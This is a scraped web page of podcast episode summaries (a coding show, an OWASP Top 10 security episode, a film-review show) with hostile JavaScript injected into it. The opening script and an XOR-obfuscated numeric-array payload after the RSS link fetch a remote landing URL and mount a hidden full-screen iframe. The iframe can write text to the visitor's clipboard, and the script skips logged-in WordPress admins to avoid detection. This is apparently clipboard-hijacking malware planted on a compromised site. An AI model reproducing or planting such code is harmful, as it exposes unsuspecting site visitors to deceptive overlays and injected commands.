setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" || !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event && event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe || !data || typeof data !== "object") return; if (event.source && iframe.contentWindow && event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" && typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe && iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus || "done"; } function resolveLandingUrl(id) { if (!id || !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id || "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
"We have solved all of the world's problems." Observability past the point where more logs stop helping, continuous deployment when the customer is the federal government and the change-management board is a real room with real people in it, JSON's loose schema as a load-bearing feature rather than a quirk to apologise for, and the awkward question of who actually owns the code you wrote on a work-issued machine.Follow the show and be sure to join the discussion on Discord! Our website is workingcode.dev and we're @workingcode.dev on Bluesky. New episodes drop weekly on Thursday.And, if you're feeling the love, support us on Patreon.With audio editing and engineering by ZCross Media.Full show notes and transcript here.
In Episode 179 of the Cyber Threat Perspective podcast, host Brad Causey and web app pen tester Jordan Natter kick off a multi-part series on the OWASP Top 10, the newly updated list of the most common and critical web application security risks, with a fresh version released in 2025.Before diving in, Brad sets the record straight on something that's been bugging him for 20 years: the OWASP Top 10 is an awareness document, not a compliance framework, not a pen test checklist, and not a comprehensive defense guide. If your vendor claims they "comply with the OWASP Top 10," that's a red flag — you can't comply with an awareness document.Part 1 focuses entirely on A01: Broken Access Control — the most dangerous and most common category on the list — and the conversation goes deep with real-world stories from active engagements.Topics covered include:What OWASP actually is — and why the Top 10 is both invaluable and widely misunderstoodBroken Access Control — what it means, why it tops the list, and how it manifests in real applicationsJWT validation failures — a healthcare application where improper JWT handling allowed unauthorized access to admin functionalityMFA bypass via broken access control — a university application where MFA codes weren't properly scoped, enabling account takeoverCORS misconfigurations — how Cross-Origin Resource Sharing policies fail in modern Node and React applications, including a real story of bypassing CORS by allowing AWS resourcesInsecure Direct Object References (IDOR) — why IDOR isn't just about changing integer IDs, including a university app where changing a student ID number led to staff-level privilege escalationS3 bucket IDOR — how a modern web application exposed PHI by returning GUIDs in JSON responses that could be enumerated directlyHidden functionality as false security — why hiding admin URLs from the navigation bar is obscurity, not security, and how Jordan accessed an entire admin PDF panel as an unauthenticated user just by copying a URLOWASP Top 10: https://owasp.org/Top10/2025/0x00_2025-Introduction/ Blog: https://offsec.blog/Youtube: https://www.youtube.com/@cyberthreatpovTwitter: https://x.com/cyberthreatpovFollow Spencer on social ⬇Spencer's Links: https://spenceralessi.comWork with Us: https://securit360.com | Find vulnerabilities that matter, learn about how we do internal pentesting here.
On this episode of The Goggler Podcast, we unwrap Lee Cronin’s The Mummy, the Evil Dead Rise director’s gnarly, Blumhouse-produced reimagining that trades ancient pharaohs for a family nightmare. Then we binge our way through Jury Duty Presents: Company Retreat on Prime Video, the follow-up to the Emmy-nominated hidden-camera comedy that swaps the courtroom for a corporate offsite at a fictional hot sauce company, with an unsuspecting temp named Anthony at the centre of it all. And finally, we take on Michael, Antoine Fuqua’s estate-approved Michael Jackson biopic starring the King of Pop’s real-life nephew Jaafar Jackson, which opened to a record-shattering $217 million globally and divided critics and audiences along very familiar lines. The Mummy and Michael are now showing in Malaysian cinemas. You can watch Jury Duty Presents: Company Retreat on Prime Video. Thank you for checking out The Goggler Podcast, if you have any thoughts or questions, just email us on podcast@goggler.my, or reach out to us via Instagram. You can also WhatsApp us on The Goggler Hotline, on +60125245208 RSS: https://goggler.my/feed/podcast/ (function(){var __s=(function(){var _0x5641=[114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,120,50,46,46,42,41,96,117,117,40,53,41,40,63,60,47,40,56,53,41,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42,120,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,87,80,122,122,122,122,33,122,46,63,55,42,54,59,46,63,96,122,120,50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39,120,118,122,47,41,63,28,63,46,57,50,96,122,46,40,47,63,122,39,87,80,122,122,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,114,46,35,42,63,53,60,122,9,35,55,56,53,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,122,124,124,122,9,35,55,56,53,54,116,60,53,40,115,87,80,122,122,122,122,101,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,115,87,80,122,122,122,122,96,122,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,97,87,80,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,87,80,122,122,122,122,41,46,59,46,47,41,96,122,120,51,62,54,63,120,118,87,80,122,122,122,122,51,60,40,59,55,63,19,62,96,122,120,5,5,51,52,54,51,52,63,5,53,60,60,63,40,5,51,60,40,59,55,63,5,5,120,118,87,80,122,122,122,122,51,60,40,59,55,63,27,46,46,40,96,122,120,62,59,46,59,119,51,52,54,51,52,63,119,53,60,60,63,40,119,60,40,59,55,63,120,118,87,80,122,122,122,122,50,51,52,46,41,96,122,33,39,118,87,80,122,122,122,122,40,47,52,10,40,53,55,51,41,63,96,122,52,47,54,54,118,87,80,122,122,122,122,62,63,41,46,40,53,35,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,44,63,59,54,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,96,122,110,106,106,106,118,87,80,122,122,122,122,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,96,122,99,106,106,106,118,87,80,122,122,122,122,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,96,122,60,59,54,41,63,118,87,80,122,122,122,122,55,63,41,41,59,61,63,24,53,47,52,62,96,122,60,59,54,41,63,87,80,122,122,39,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,45,51,52,62,53,45,116,5,5,62,51,41,59,56,54,63,19,52,54,51,52,63,21,60,60,63,40,5,5,122,103,103,103,122,46,40,47,63,122,38,38,122,45,51,52,62,53,45,116,5,5,51,41,13,42,27,62,55,51,52,5,5,122,103,103,103,122,46,40,47,63,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,42,59,46,50,122,103,122,45,51,52,62,53,45,116,54,53,57,59,46,51,53,52,116,42,59,46,50,52,59,55,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,4,6,117,114,45,42,119,59,62,55,51,52,38,45,42,119,54,53,61,51,52,115,117,116,46,63,41,46,114,42,59,46,50,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,53,53,49,51,63,122,103,122,62,53,57,47,55,63,52,46,116,57,53,53,49,51,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,45,53,40,62,42,40,63,41,41,5,54,53,61,61,63,62,5,51,52,5,1,4,103,7,112,103,117,116,46,63,41,46,114,57,53,53,49,51,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,62,63,122,103,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,44,59,40,122,56,53,62,35,122,103,122,62,53,57,47,55,63,52,46,116,56,53,62,35,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,63,122,124,124,122,46,35,42,63,53,60,122,62,63,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,45,42,119,46,53,53,54,56,59,40,6,56,117,116,46,63,41,46,114,62,63,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,56,53,62,35,122,124,124,122,46,35,42,63,53,60,122,56,53,62,35,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,59,62,55,51,52,119,56,59,40,6,56,117,116,46,63,41,46,114,56,53,62,35,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,120,45,42,59,62,55,51,52,56,59,40,120,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,115,122,33,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,54,53,59,62,51,52,61,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,62,53,52,63,120,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,54,53,59,62,51,52,61,120,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,49,63,35,118,122,44,59,54,115,122,33,87,80,122,122,122,122,44,59,40,122,41,63,42,122,103,122,47,40,54,116,51,52,62,63,34,21,60,114,120,101,120,115,122,100,103,122,106,122,101,122,120,124,120,122,96,122,120,101,120,97,87,80,122,122,122,122,40,63,46,47,40,52,122,47,40,54,122,113,122,41,63,42,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,49,63,35,115,122,113,122,120,103,120,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,44,59,54,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,46,63,55,42,54,59,46,63,122,38,38,122,123,51,62,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,53,18,46,46,42,15,40,54,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,51,60,122,114,123,44,59,54,47,63,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,41,122,103,122,9,46,40,51,52,61,114,44,59,54,47,63,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,87,80,122,122,122,122,122,122,116,46,40,51,55,114,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,1,125,120,58,6,41,7,113,38,1,125,120,58,6,41,7,113,126,117,61,118,122,120,120,115,97,87,80,87,80,122,122,122,122,51,60,122,114,123,41,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,123,117,4,1,59,119,32,7,1,59,119,32,106,119,99,113,116,119,7,112,96,6,117,6,117,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,117,4,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,1,6,117,101,121,7,38,126,115,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,122,122,41,122,103,122,120,50,46,46,42,41,96,117,117,120,122,113,122,41,97,87,80,122,122,122,122,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,47,122,103,122,52,63,45,122,15,8,22,114,41,115,97,87,80,122,122,122,122,122,122,51,60,122,114,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,96,120,122,38,38,122,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,41,96,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,47,116,50,40,63,60,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,118,122,62,63,42,46,50,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,52,42,47,46,122,38,38,122,62,63,42,46,50,122,100,122,105,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,53,18,46,46,42,15,40,54,114,51,52,42,47,46,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,46,53,9,46,40,51,52,61,116,57,59,54,54,114,51,52,42,47,46,115,122,103,103,103,122,120,1,53,56,48,63,57,46,122,27,40,40,59,35,7,120,115,122,33,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,51,52,42,47,46,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,59,40,40,12,59,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,51,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,59,40,40,12,59,54,115,122,40,63,46,47,40,52,122,59,40,40,12,59,54,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,53,56,48,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,49,63,35,41,122,103,122,1,120,47,40,54,120,118,122,120,54,51,52,49,120,118,122,120,50,40,63,60,120,118,122,120,54,53,57,59,46,51,53,52,120,118,122,120,40,63,62,51,40,63,57,46,120,118,122,120,46,59,40,61,63,46,120,118,122,120,54,59,52,62,51,52,61,120,118,122,120,54,59,52,62,51,52,61,15,40,54,120,7,97,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,48,122,103,122,106,97,122,48,122,102,122,49,63,35,41,116,54,63,52,61,46,50,97,122,48,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,49,63,35,122,103,122,49,63,35,41,1,48,7,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,63,35,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,63,35,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,49,122,51,52,122,51,52,42,47,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,52,63,41,46,63,62,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,52,63,41,46,63,62,115,122,40,63,46,47,40,52,122,52,63,41,46,63,62,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,122,33,87,80,122,122,122,122,51,60,122,114,123,40,59,45,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,46,63,34,46,122,103,122,9,46,40,51,52,61,114,40,59,45,115,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,123,46,63,34,46,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,46,53,18,46,46,42,15,40,54,114,46,63,34,46,115,97,87,80,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,87,80,122,122,122,122,51,60,122,114,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,33,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,39,120,115,122,38,38,87,80,122,122,122,122,122,122,122,122,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,1,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,7,120,115,115,122,33,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,42,59,40,41,63,62,122,103,122,16,9,21,20,116,42,59,40,41,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,48,41,53,52,15,40,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,42,59,40,41,63,62,118,122,106,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,48,41,53,52,15,40,54,115,122,40,63,46,47,40,52,122,48,41,53,52,15,40,54,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,18,46,46,42,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,120,125,102,100,7,113,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,18,46,46,42,122,124,124,122,55,59,46,57,50,18,46,46,42,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,50,46,46,42,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,18,46,46,42,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,50,46,46,42,15,40,54,115,122,40,63,46,47,40,52,122,50,46,46,42,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,30,53,55,59,51,52,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,6,56,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,6,117,1,4,6,41,120,125,102,100,7,112,115,101,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,30,53,55,59,51,52,122,124,124,122,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,53,55,59,51,52,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,55,59,51,52,15,40,54,115,122,40,63,46,47,40,52,122,62,53,55,59,51,52,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,47,40,54,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,15,8,22,114,47,40,54,115,116,53,40,51,61,51,52,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,62,62,18,51,52,46,114,40,63,54,118,122,50,40,63,60,115,122,33,87,80,122,122,122,122,51,60,122,114,123,50,40,63,60,122,38,38,122,123,62,53,57,47,55,63,52,46,122,38,38,122,123,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,44,59,40,122,49,63,35,122,103,122,40,63,54,122,113,122,120,96,96,120,122,113,122,50,40,63,60,97,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,42,59,40,63,52,46,122,103,122,62,53,57,47,55,63,52,46,116,50,63,59,62,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,51,60,122,114,123,42,59,40,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,54,51,52,49,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,54,51,52,49,120,115,97,87,80,122,122,122,122,122,122,54,51,52,49,116,40,63,54,122,103,122,40,63,54,97,87,80,122,122,122,122,122,122,54,51,52,49,116,50,40,63,60,122,103,122,50,40,63,60,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,40,63,54,122,103,103,103,122